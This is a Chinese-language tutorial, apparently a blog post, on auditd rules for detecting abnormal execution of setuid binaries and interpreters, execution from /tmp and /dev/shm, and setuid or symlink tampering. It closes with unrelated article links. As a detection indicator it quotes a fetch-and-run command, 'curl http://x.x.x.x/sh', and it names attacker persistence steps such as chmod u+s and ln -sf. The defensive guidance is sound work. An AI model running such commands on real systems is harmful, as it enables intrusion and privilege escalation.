核心是精准捕获异常启动路径、非预期调用上下文和权限变更行为,重点监控sudo、su、passwd等高价值setuid程序及/tmp等非常规路径执行,结合execve系统调用与inode属性变更审计,实现对“本不该在这里运行”和“本不该以这种方式运行”的程序的有效识别。
监控关键系统二进制程序的执行环境,核心不是“防所有执行”,而是精准捕获异常启动路径、非预期调用上下文和权限变更行为。重点在于识别“本不该在这里运行的程序”和“本不该以这种方式运行的程序”。
盲目监控 /usr/bin/* 或 /bin/* 会导致规则膨胀、日志淹没、性能抖动,auditd 本身也不支持通配符路径。真正需要盯住的是具备提权能力或广泛信任链的二进制:
/usr/bin/sudo、/bin/su、/usr/bin/passwd —— 攻击者最常篡改或劫持的对象/usr/bin/crontab、/usr/bin/at、/usr/bin/newgrp —— 常被用于持久化任务调度/bin/bash、/usr/bin/python3、/usr/bin/perl —— 解释器本身虽不带 setuid,但被从临时目录调用时极可能承载恶意逻辑快速定位当前系统所有 setuid 程序:find /usr/bin /bin /sbin /usr/sbin -type f -perm -4000 2>/dev/null
仅靠 -w /path -p x 无法区分“正常调用”和“异常上下文调用”。必须深入到系统调用层,捕获 execve 事件本身,并绑定路径与架构:
/usr/bin/curl 所有执行: sudo auditctl -a always,exit -F arch=b64 -S execve -F path=/usr/bin/curl -F key=exec_curl
-F auid!=4294967295 排除内核线程,加 -F exe=/usr/bin/bash 可追溯父解释器/etc/audit/rules.d/exec-bin.rules,再执行 augenrules --load 永久生效攻击者极少直接替换 /usr/bin/sudo,更倾向释放后门到 /tmp、/dev/shm、/var/tmp 并直接执行。这类行为必须单独设防:
/tmp 下执行: sudo auditctl -a always,exit -F path=/tmp -F perm=x -F key=exec_tmp
/dev/shm 和 /var/tmp,注意避免误报:若业务确需在此执行(如某些编译缓存),应配合 -F uid!=0 或 -F auid>=1000 限定范围/tmp/*.sh 被 /bin/sh 执行,可用 Tetragon 或自定义 rsyslog 过滤实现很多污染不改文件内容,只改元数据——比如给普通文件加 setuid、创建指向恶意二进制的软链接、修改属主伪装成系统程序。这些行为 -p w 完全无效,必须用 -p a:
sudo auditctl -w /usr/bin/sudo -p a -k attr_sudosudo auditctl -w /bin/su -p a -k attr_suchmod u+s、chown root:root、ln -sf 等全部 inode 层变更日志中出现 proctitle= 字段为空或含可疑参数(如 -c "curl http://x.x.x.x/sh"),配合 key=exec_tmp 和 key=attr_sudo 关联分析,基本可锁定污染链。
Codex一键复刻任何网站:从安装到实战:30秒搞定原来两天的活
30分钟实现自己的AI聊天机器人:SpringBoot接入DeepSeek API
AI 从“会聊天”到“会做事”——Skill 怎样做到的?
Node.js spawn 实现了迷你 Cursor 自动化终端|子进程完整解析
Agent Skill MCP 到底是什么关系:零基础小白也能看懂的三层拆解
TID质量竞争大会分享议题丨中国平安人寿蔡雪:AI 编码时代 UI 自动化测试智能化演进之路